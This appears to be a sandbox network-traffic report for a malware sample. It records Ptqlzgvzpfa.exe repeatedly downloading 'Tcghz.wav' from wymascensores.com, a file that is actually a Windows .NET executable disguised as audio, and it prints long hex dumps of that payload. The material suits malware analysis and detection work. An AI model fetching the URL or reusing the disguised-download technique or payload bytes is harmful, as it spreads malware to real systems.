2024-09-27 08:43:22 UTC	8000	IN	Data Raw: 30 30 30 30 30 33 38 43 31 46 46 46 46 46 46 32 41 37 45 41 41 30 32 30 30 30 34 32 38 42 38 30 38 30 30 30 36 32 30 30 32 30 30 30 30 30 30 37 45 38 36 30 32 30 30 30 34 37 42 38 30 30 32 30 30 30 34 33 41 41 32 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 39 37 46 46 46 46 46 46 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 Data Ascii: 0000038C1FFFFFF2A7EAA02000428B808000620020000007E860200047B800200043AA2FFFFFF2620000000003897FFFFFF120000002A000000120000142A000000120000002A000000120000002A000000120000002A000000120000142A000000120000002A000000120000172A000000120000142A000000120000172A00
2024-09-27 08:43:23 UTC	8000	IN	Data Raw: 30 30 30 39 34 30 30 30 30 30 30 41 37 30 30 30 30 30 30 33 42 30 31 30 30 30 30 37 36 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 35 38 30 30 30 30 30 30 35 39 30 31 30 30 30 30 42 31 30 31 30 30 30 30 37 36 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 33 33 30 30 34 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 31 33 33 30 30 35 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 30 31 31 43 30 30 30 30 30 32 30 30 36 45 30 30 31 39 38 37 30 30 30 44 30 30 30 30 30 30 30 30 30 32 30 30 39 44 30 30 32 33 43 30 30 30 30 46 30 30 30 30 30 30 30 30 30 33 33 30 30 38 30 30 30 34 30 30 Data Ascii: 00094000000A70000003B0100007600000000000000020000005800000059010000B101000076000000000000001330040004000000000000000000142A1330050004000000000000000000142A0330080004000000000000000000142A011C000002006E001987000D0000000002009D0023C0000F00000000033008000400
2024-09-27 08:43:23 UTC	8000	IN	Data Raw: 38 36 44 30 33 30 30 30 36 31 32 30 34 31 31 30 35 31 31 30 36 30 39 31 46 30 44 31 46 31 35 31 46 33 43 30 36 32 38 36 44 30 33 30 30 30 36 31 32 30 33 31 31 30 34 31 31 30 35 31 31 30 36 31 41 31 43 31 46 33 44 30 36 32 38 36 44 30 33 30 30 30 36 31 32 30 36 30 39 31 31 30 34 31 31 30 35 31 46 30 42 31 46 30 41 31 46 33 45 30 36 32 38 36 44 30 33 30 30 30 36 31 32 30 35 31 31 30 36 30 39 31 31 30 34 31 38 31 46 30 46 31 46 33 46 30 36 32 38 36 44 30 33 30 30 30 36 31 32 30 34 31 31 30 35 31 31 30 36 30 39 31 46 30 39 31 46 31 35 31 46 34 30 30 36 32 38 36 44 30 33 30 30 30 36 30 39 31 31 30 46 35 38 30 44 31 31 30 34 31 31 31 30 35 38 31 33 30 34 31 31 30 35 31 31 31 31 35 38 31 33 30 35 31 31 30 36 31 31 31 32 35 38 31 33 30 36 31 31 30 44 31 37 35 38 Data Ascii: 86D030006120411051106091F0D1F151F3C06286D03000612031104110511061A1C1F3D06286D030006120609110411051F0B1F0A1F3E06286D03000612051106091104181F0F1F3F06286D030006120411051106091F091F151F4006286D03000609110F580D110411105813041105111158130511061112581306110D1758
2024-09-27 08:43:23 UTC	8000	IN	Data Raw: 30 32 38 43 42 30 33 30 30 30 36 31 31 31 39 32 38 43 43 30 33 30 30 30 36 31 33 31 30 31 31 31 39 32 30 38 36 30 30 30 30 30 30 36 41 32 38 42 39 30 33 30 30 30 36 31 31 31 37 32 38 43 39 30 33 30 30 30 36 31 33 31 43 31 31 31 39 31 31 31 30 32 38 42 39 30 33 30 30 30 36 31 31 30 36 31 31 31 39 31 31 31 43 31 46 32 38 35 41 31 31 32 37 32 38 43 38 30 33 30 30 30 36 31 31 31 39 32 38 43 43 30 33 30 30 30 36 31 33 31 34 33 41 41 31 46 42 46 46 46 46 32 30 31 46 30 30 30 30 30 30 32 38 44 41 30 33 30 30 30 36 33 39 41 41 46 39 46 46 46 46 32 36 32 30 30 32 30 30 30 30 30 30 33 38 39 46 46 39 46 46 46 46 44 44 43 46 31 37 30 30 30 30 32 36 32 30 30 30 30 30 30 30 30 30 32 38 44 39 30 33 30 30 30 36 33 41 30 46 30 30 30 30 30 30 32 36 32 30 30 30 30 30 30 30 Data Ascii: 028CB030006111928CC0300061310111920860000006A28B9030006111728C9030006131C1119111028B903000611061119111C1F285A112728C8030006111928CC03000613143AA1FBFFFF201F00000028DA03000639AAF9FFFF262002000000389FF9FFFFDDCF17000026200000000028D90300063A0F0000002620000000
2024-09-27 08:43:23 UTC	8000	IN	Data Raw: 30 32 30 42 42 30 30 30 30 30 30 32 30 33 45 30 30 30 30 30 30 35 39 39 43 32 30 34 45 30 30 30 30 30 30 32 30 34 37 30 30 30 30 30 30 35 38 46 45 30 45 30 45 30 30 46 45 30 43 31 44 30 30 32 30 30 30 30 30 30 30 30 30 46 45 30 43 30 45 30 30 39 43 32 30 31 37 30 30 30 30 30 30 32 30 32 42 30 30 30 30 30 30 35 38 46 45 30 45 30 45 30 30 46 45 30 43 31 44 30 30 32 30 30 30 30 30 30 30 30 30 46 45 30 43 30 45 30 30 39 43 32 30 30 32 30 30 30 30 30 30 32 30 36 35 30 30 30 30 30 30 35 38 46 45 30 45 30 45 30 30 46 45 30 43 31 44 30 30 32 30 30 30 30 30 30 30 30 30 46 45 30 43 30 45 30 30 39 43 46 45 30 43 31 44 30 30 32 30 30 30 30 30 30 30 30 30 32 30 35 32 30 30 30 30 30 30 32 30 37 35 30 30 30 30 30 30 35 38 39 43 32 30 38 46 30 30 30 30 30 30 32 30 32 37 Data Ascii: 020BB000000203E000000599C204E000000204700000058FE0E0E00FE0C1D002000000000FE0C0E009C2017000000202B00000058FE0E0E00FE0C1D002000000000FE0C0E009C2002000000206500000058FE0E0E00FE0C1D002000000000FE0C0E009CFE0C1D00200000000020520000002075000000589C208F0000002027
2024-09-27 08:43:23 UTC	8000	IN	Data Raw: 30 30 30 34 31 30 34 30 30 30 30 46 37 30 31 30 30 30 30 33 38 30 36 30 30 30 30 30 36 30 30 30 30 30 30 31 42 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 33 30 36 30 30 30 30 35 33 30 36 30 30 30 30 30 36 30 30 30 30 30 30 31 42 30 30 30 30 30 31 30 36 32 41 30 30 30 30 31 33 33 30 30 34 30 30 33 34 30 30 30 30 30 30 35 31 30 30 30 30 31 31 32 30 30 32 30 30 30 30 30 30 38 44 31 37 30 30 30 30 30 31 30 41 30 36 32 30 30 30 30 30 30 30 30 30 46 45 30 39 30 30 30 30 41 32 30 36 32 30 30 31 30 30 30 30 30 30 46 45 30 39 30 31 30 30 38 43 30 34 30 30 30 30 30 31 41 32 32 30 30 30 30 30 30 30 30 30 30 36 31 34 32 38 42 36 30 34 30 30 30 36 32 36 32 41 31 42 33 30 30 36 30 30 42 45 30 31 30 30 30 30 35 32 30 30 30 30 31 31 37 45 35 43 Data Ascii: 00041040000F701000038060000060000001B00000100000000000000005306000053060000060000001B000001062A000013300400340000005100001120020000008D170000010A062000000000FE090000A2062001000000FE0901008C04000001A22000000000061428B6040006262A1B300600BE010000520000117E5C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	52073	67.212.175.162	443	1120	C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 08:43:46 UTC	80	OUT	GET /img/Tcghz.wav HTTP/1.1 Host: wymascensores.com Connection: Keep-Alive
2024-09-27 08:43:46 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 08:43:45 GMT Server: Apache Last-Modified: Thu, 26 Sep 2024 07:21:12 GMT Accept-Ranges: bytes Content-Length: 1917952 Connection: close Content-Type: audio/x-wav
2024-09-27 08:43:46 UTC	7981	IN	Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A240000000000000
2024-09-27 08:43:46 UTC	8000	IN	Data Raw: 34 36 31 37 45 43 45 30 32 30 30 30 34 32 38 34 38 30 39 30 30 30 36 32 38 31 32 30 30 30 30 32 42 38 30 33 36 30 30 30 30 30 34 32 30 31 45 30 30 30 30 30 30 33 38 46 39 46 38 46 46 46 46 32 30 46 39 33 31 38 39 36 39 32 30 30 36 42 38 37 30 36 31 36 31 37 45 38 36 30 32 30 30 30 34 37 42 37 41 30 32 30 30 30 34 36 31 37 45 43 45 30 32 30 30 30 34 32 38 34 38 30 39 30 30 30 36 32 30 31 38 32 31 46 31 32 42 32 30 30 36 30 30 30 30 30 30 36 32 32 30 45 46 38 42 43 43 38 35 36 31 37 45 38 36 30 32 30 30 30 34 37 42 35 32 30 32 30 30 30 34 36 31 37 45 43 45 30 32 30 30 30 34 32 38 34 38 30 39 30 30 30 36 32 38 31 33 30 30 30 30 32 42 38 30 33 34 30 30 30 30 30 34 32 30 30 39 30 30 30 30 30 30 46 45 30 45 30 30 30 30 33 38 39 37 46 38 46 46 46 46 32 30 43 33 Data Ascii: 4617ECE0200042848090006281200002B8036000004201E00000038F9F8FFFF20F93189692006B87061617E860200047B7A020004617ECE0200042848090006201821F12B20060000006220EF8BCC85617E860200047B52020004617ECE0200042848090006281300002B80340000042009000000FE0E00003897F8FFFF20C3
2024-09-27 08:43:46 UTC	8000	IN	Data Raw: 32 30 30 30 30 30 30 46 45 30 45 30 30 30 30 33 38 30 30 30 30 30 30 30 30 46 45 30 43 30 30 30 30 34 35 30 33 30 30 30 30 30 30 32 45 30 30 30 30 30 30 30 35 30 30 30 30 30 30 32 46 30 30 30 30 30 30 33 38 32 39 30 30 30 30 30 30 37 45 41 41 30 32 30 30 30 34 32 38 42 38 30 38 30 30 30 36 32 30 30 30 30 30 30 30 30 30 37 45 38 36 30 32 30 30 30 34 37 42 37 41 30 32 30 30 30 34 33 41 43 43 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 43 31 46 46 46 46 46 46 32 41 37 45 41 39 30 32 30 30 30 34 32 38 42 34 30 38 30 30 30 36 32 30 30 31 30 30 30 30 30 30 37 45 38 36 30 32 30 30 30 34 37 42 35 30 30 32 30 30 30 34 33 39 41 32 46 46 46 46 46 46 32 36 32 30 30 31 30 30 30 30 30 30 33 38 39 37 46 46 46 46 46 46 31 32 30 30 30 30 31 37 32 41 30 30 Data Ascii: 2000000FE0E00003800000000FE0C000045030000002E000000050000002F00000038290000007EAA02000428B808000620000000007E860200047B7A0200043ACCFFFFFF26200000000038C1FFFFFF2A7EA902000428B408000620010000007E860200047B5002000439A2FFFFFF2620010000003897FFFFFF120000172A00
2024-09-27 08:43:46 UTC	8000	IN	Data Raw: 30 30 30 30 35 30 30 30 30 30 30 32 46 30 30 30 30 30 30 33 38 32 39 30 30 30 30 30 30 37 45 41 41 30 32 30 30 30 34 32 38 42 38 30 38 30 30 30 36 32 30 30 30 30 30 30 30 30 30 37 45 38 36 30 32 30 30 30 34 37 42 38 33 30 32 30 30 30 34 33 41 43 43 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 43 31 46 46 46 46 46 46 32 41 37 45 41 39 30 32 30 30 30 34 32 38 42 34 30 38 30 30 30 36 32 30 30 31 30 30 30 30 30 30 37 45 38 36 30 32 30 30 30 34 37 42 35 42 30 32 30 30 30 34 33 41 41 32 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 39 37 46 46 46 46 46 46 31 32 30 30 30 30 31 36 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 Data Ascii: 000050000002F00000038290000007EAA02000428B808000620000000007E860200047B830200043ACCFFFFFF26200000000038C1FFFFFF2A7EA902000428B408000620010000007E860200047B5B0200043AA2FFFFFF2620000000003897FFFFFF120000162A000000120000172A000000120000172A000000120000142A00
2024-09-27 08:43:46 UTC	8000	IN	Data Raw: 30 30 30 30 30 33 38 43 31 46 46 46 46 46 46 32 41 37 45 41 41 30 32 30 30 30 34 32 38 42 38 30 38 30 30 30 36 32 30 30 32 30 30 30 30 30 30 37 45 38 36 30 32 30 30 30 34 37 42 38 30 30 32 30 30 30 34 33 41 41 32 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 39 37 46 46 46 46 46 46 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 Data Ascii: 0000038C1FFFFFF2A7EAA02000428B808000620020000007E860200047B800200043AA2FFFFFF2620000000003897FFFFFF120000002A000000120000142A000000120000002A000000120000002A000000120000002A000000120000142A000000120000002A000000120000172A000000120000142A000000120000172A00
2024-09-27 08:43:46 UTC	8000	IN	Data Raw: 30 30 30 39 34 30 30 30 30 30 30 41 37 30 30 30 30 30 30 33 42 30 31 30 30 30 30 37 36 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 35 38 30 30 30 30 30 30 35 39 30 31 30 30 30 30 42 31 30 31 30 30 30 30 37 36 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 33 33 30 30 34 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 31 33 33 30 30 35 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 30 31 31 43 30 30 30 30 30 32 30 30 36 45 30 30 31 39 38 37 30 30 30 44 30 30 30 30 30 30 30 30 30 32 30 30 39 44 30 30 32 33 43 30 30 30 30 46 30 30 30 30 30 30 30 30 30 33 33 30 30 38 30 30 30 34 30 30 Data Ascii: 00094000000A70000003B0100007600000000000000020000005800000059010000B101000076000000000000001330040004000000000000000000142A1330050004000000000000000000142A0330080004000000000000000000142A011C000002006E001987000D0000000002009D0023C0000F00000000033008000400
2024-09-27 08:43:46 UTC	8000	IN	Data Raw: 38 36 44 30 33 30 30 30 36 31 32 30 34 31 31 30 35 31 31 30 36 30 39 31 46 30 44 31 46 31 35 31 46 33 43 30 36 32 38 36 44 30 33 30 30 30 36 31 32 30 33 31 31 30 34 31 31 30 35 31 31 30 36 31 41 31 43 31 46 33 44 30 36 32 38 36 44 30 33 30 30 30 36 31 32 30 36 30 39 31 31 30 34 31 31 30 35 31 46 30 42 31 46 30 41 31 46 33 45 30 36 32 38 36 44 30 33 30 30 30 36 31 32 30 35 31 31 30 36 30 39 31 31 30 34 31 38 31 46 30 46 31 46 33 46 30 36 32 38 36 44 30 33 30 30 30 36 31 32 30 34 31 31 30 35 31 31 30 36 30 39 31 46 30 39 31 46 31 35 31 46 34 30 30 36 32 38 36 44 30 33 30 30 30 36 30 39 31 31 30 46 35 38 30 44 31 31 30 34 31 31 31 30 35 38 31 33 30 34 31 31 30 35 31 31 31 31 35 38 31 33 30 35 31 31 30 36 31 31 31 32 35 38 31 33 30 36 31 31 30 44 31 37 35 38 Data Ascii: 86D030006120411051106091F0D1F151F3C06286D03000612031104110511061A1C1F3D06286D030006120609110411051F0B1F0A1F3E06286D03000612051106091104181F0F1F3F06286D030006120411051106091F091F151F4006286D03000609110F580D110411105813041105111158130511061112581306110D1758
2024-09-27 08:43:46 UTC	8000	IN	Data Raw: 30 32 38 43 42 30 33 30 30 30 36 31 31 31 39 32 38 43 43 30 33 30 30 30 36 31 33 31 30 31 31 31 39 32 30 38 36 30 30 30 30 30 30 36 41 32 38 42 39 30 33 30 30 30 36 31 31 31 37 32 38 43 39 30 33 30 30 30 36 31 33 31 43 31 31 31 39 31 31 31 30 32 38 42 39 30 33 30 30 30 36 31 31 30 36 31 31 31 39 31 31 31 43 31 46 32 38 35 41 31 31 32 37 32 38 43 38 30 33 30 30 30 36 31 31 31 39 32 38 43 43 30 33 30 30 30 36 31 33 31 34 33 41 41 31 46 42 46 46 46 46 32 30 31 46 30 30 30 30 30 30 32 38 44 41 30 33 30 30 30 36 33 39 41 41 46 39 46 46 46 46 32 36 32 30 30 32 30 30 30 30 30 30 33 38 39 46 46 39 46 46 46 46 44 44 43 46 31 37 30 30 30 30 32 36 32 30 30 30 30 30 30 30 30 30 32 38 44 39 30 33 30 30 30 36 33 41 30 46 30 30 30 30 30 30 32 36 32 30 30 30 30 30 30 30 Data Ascii: 028CB030006111928CC0300061310111920860000006A28B9030006111728C9030006131C1119111028B903000611061119111C1F285A112728C8030006111928CC03000613143AA1FBFFFF201F00000028DA03000639AAF9FFFF262002000000389FF9FFFFDDCF17000026200000000028D90300063A0F0000002620000000
2024-09-27 08:43:46 UTC	8000	IN	Data Raw: 30 32 30 42 42 30 30 30 30 30 30 32 30 33 45 30 30 30 30 30 30 35 39 39 43 32 30 34 45 30 30 30 30 30 30 32 30 34 37 30 30 30 30 30 30 35 38 46 45 30 45 30 45 30 30 46 45 30 43 31 44 30 30 32 30 30 30 30 30 30 30 30 30 46 45 30 43 30 45 30 30 39 43 32 30 31 37 30 30 30 30 30 30 32 30 32 42 30 30 30 30 30 30 35 38 46 45 30 45 30 45 30 30 46 45 30 43 31 44 30 30 32 30 30 30 30 30 30 30 30 30 46 45 30 43 30 45 30 30 39 43 32 30 30 32 30 30 30 30 30 30 32 30 36 35 30 30 30 30 30 30 35 38 46 45 30 45 30 45 30 30 46 45 30 43 31 44 30 30 32 30 30 30 30 30 30 30 30 30 46 45 30 43 30 45 30 30 39 43 46 45 30 43 31 44 30 30 32 30 30 30 30 30 30 30 30 30 32 30 35 32 30 30 30 30 30 30 32 30 37 35 30 30 30 30 30 30 35 38 39 43 32 30 38 46 30 30 30 30 30 30 32 30 32 37 Data Ascii: 020BB000000203E000000599C204E000000204700000058FE0E0E00FE0C1D002000000000FE0C0E009C2017000000202B00000058FE0E0E00FE0C1D002000000000FE0C0E009C2002000000206500000058FE0E0E00FE0C1D002000000000FE0C0E009CFE0C1D00200000000020520000002075000000589C208F0000002027
2024-09-27 08:43:46 UTC	8000	IN	Data Raw: 30 30 30 34 31 30 34 30 30 30 30 46 37 30 31 30 30 30 30 33 38 30 36 30 30 30 30 30 36 30 30 30 30 30 30 31 42 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 33 30 36 30 30 30 30 35 33 30 36 30 30 30 30 30 36 30 30 30 30 30 30 31 42 30 30 30 30 30 31 30 36 32 41 30 30 30 30 31 33 33 30 30 34 30 30 33 34 30 30 30 30 30 30 35 31 30 30 30 30 31 31 32 30 30 32 30 30 30 30 30 30 38 44 31 37 30 30 30 30 30 31 30 41 30 36 32 30 30 30 30 30 30 30 30 30 46 45 30 39 30 30 30 30 41 32 30 36 32 30 30 31 30 30 30 30 30 30 46 45 30 39 30 31 30 30 38 43 30 34 30 30 30 30 30 31 41 32 32 30 30 30 30 30 30 30 30 30 30 36 31 34 32 38 42 36 30 34 30 30 30 36 32 36 32 41 31 42 33 30 30 36 30 30 42 45 30 31 30 30 30 30 35 32 30 30 30 30 31 31 37 45 35 43 Data Ascii: 00041040000F701000038060000060000001B00000100000000000000005306000053060000060000001B000001062A000013300400340000005100001120020000008D170000010A062000000000FE090000A2062001000000FE0901008C04000001A22000000000061428B6040006262A1B300600BE010000520000117E5C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	52077	67.212.175.162	443	2928	C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 08:43:54 UTC	80	OUT	GET /img/Tcghz.wav HTTP/1.1 Host: wymascensores.com Connection: Keep-Alive
2024-09-27 08:43:54 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 08:43:54 GMT Server: Apache Last-Modified: Thu, 26 Sep 2024 07:21:12 GMT Accept-Ranges: bytes Content-Length: 1917952 Connection: close Content-Type: audio/x-wav
2024-09-27 08:43:54 UTC	7981	IN	Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A240000000000000
2024-09-27 08:43:54 UTC	8000	IN	Data Raw: 34 36 31 37 45 43 45 30 32 30 30 30 34 32 38 34 38 30 39 30 30 30 36 32 38 31 32 30 30 30 30 32 42 38 30 33 36 30 30 30 30 30 34 32 30 31 45 30 30 30 30 30 30 33 38 46 39 46 38 46 46 46 46 32 30 46 39 33 31 38 39 36 39 32 30 30 36 42 38 37 30 36 31 36 31 37 45 38 36 30 32 30 30 30 34 37 42 37 41 30 32 30 30 30 34 36 31 37 45 43 45 30 32 30 30 30 34 32 38 34 38 30 39 30 30 30 36 32 30 31 38 32 31 46 31 32 42 32 30 30 36 30 30 30 30 30 30 36 32 32 30 45 46 38 42 43 43 38 35 36 31 37 45 38 36 30 32 30 30 30 34 37 42 35 32 30 32 30 30 30 34 36 31 37 45 43 45 30 32 30 30 30 34 32 38 34 38 30 39 30 30 30 36 32 38 31 33 30 30 30 30 32 42 38 30 33 34 30 30 30 30 30 34 32 30 30 39 30 30 30 30 30 30 46 45 30 45 30 30 30 30 33 38 39 37 46 38 46 46 46 46 32 30 43 33 Data Ascii: 4617ECE0200042848090006281200002B8036000004201E00000038F9F8FFFF20F93189692006B87061617E860200047B7A020004617ECE0200042848090006201821F12B20060000006220EF8BCC85617E860200047B52020004617ECE0200042848090006281300002B80340000042009000000FE0E00003897F8FFFF20C3
2024-09-27 08:43:54 UTC	8000	IN	Data Raw: 32 30 30 30 30 30 30 46 45 30 45 30 30 30 30 33 38 30 30 30 30 30 30 30 30 46 45 30 43 30 30 30 30 34 35 30 33 30 30 30 30 30 30 32 45 30 30 30 30 30 30 30 35 30 30 30 30 30 30 32 46 30 30 30 30 30 30 33 38 32 39 30 30 30 30 30 30 37 45 41 41 30 32 30 30 30 34 32 38 42 38 30 38 30 30 30 36 32 30 30 30 30 30 30 30 30 30 37 45 38 36 30 32 30 30 30 34 37 42 37 41 30 32 30 30 30 34 33 41 43 43 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 43 31 46 46 46 46 46 46 32 41 37 45 41 39 30 32 30 30 30 34 32 38 42 34 30 38 30 30 30 36 32 30 30 31 30 30 30 30 30 30 37 45 38 36 30 32 30 30 30 34 37 42 35 30 30 32 30 30 30 34 33 39 41 32 46 46 46 46 46 46 32 36 32 30 30 31 30 30 30 30 30 30 33 38 39 37 46 46 46 46 46 46 31 32 30 30 30 30 31 37 32 41 30 30 Data Ascii: 2000000FE0E00003800000000FE0C000045030000002E000000050000002F00000038290000007EAA02000428B808000620000000007E860200047B7A0200043ACCFFFFFF26200000000038C1FFFFFF2A7EA902000428B408000620010000007E860200047B5002000439A2FFFFFF2620010000003897FFFFFF120000172A00
2024-09-27 08:43:54 UTC	8000	IN	Data Raw: 30 30 30 30 35 30 30 30 30 30 30 32 46 30 30 30 30 30 30 33 38 32 39 30 30 30 30 30 30 37 45 41 41 30 32 30 30 30 34 32 38 42 38 30 38 30 30 30 36 32 30 30 30 30 30 30 30 30 30 37 45 38 36 30 32 30 30 30 34 37 42 38 33 30 32 30 30 30 34 33 41 43 43 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 43 31 46 46 46 46 46 46 32 41 37 45 41 39 30 32 30 30 30 34 32 38 42 34 30 38 30 30 30 36 32 30 30 31 30 30 30 30 30 30 37 45 38 36 30 32 30 30 30 34 37 42 35 42 30 32 30 30 30 34 33 41 41 32 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 39 37 46 46 46 46 46 46 31 32 30 30 30 30 31 36 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 Data Ascii: 000050000002F00000038290000007EAA02000428B808000620000000007E860200047B830200043ACCFFFFFF26200000000038C1FFFFFF2A7EA902000428B408000620010000007E860200047B5B0200043AA2FFFFFF2620000000003897FFFFFF120000162A000000120000172A000000120000172A000000120000142A00
2024-09-27 08:43:54 UTC	8000	IN	Data Raw: 30 30 30 30 30 33 38 43 31 46 46 46 46 46 46 32 41 37 45 41 41 30 32 30 30 30 34 32 38 42 38 30 38 30 30 30 36 32 30 30 32 30 30 30 30 30 30 37 45 38 36 30 32 30 30 30 34 37 42 38 30 30 32 30 30 30 34 33 41 41 32 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 39 37 46 46 46 46 46 46 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 30 30 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 Data Ascii: 0000038C1FFFFFF2A7EAA02000428B808000620020000007E860200047B800200043AA2FFFFFF2620000000003897FFFFFF120000002A000000120000142A000000120000002A000000120000002A000000120000002A000000120000142A000000120000002A000000120000172A000000120000142A000000120000172A00
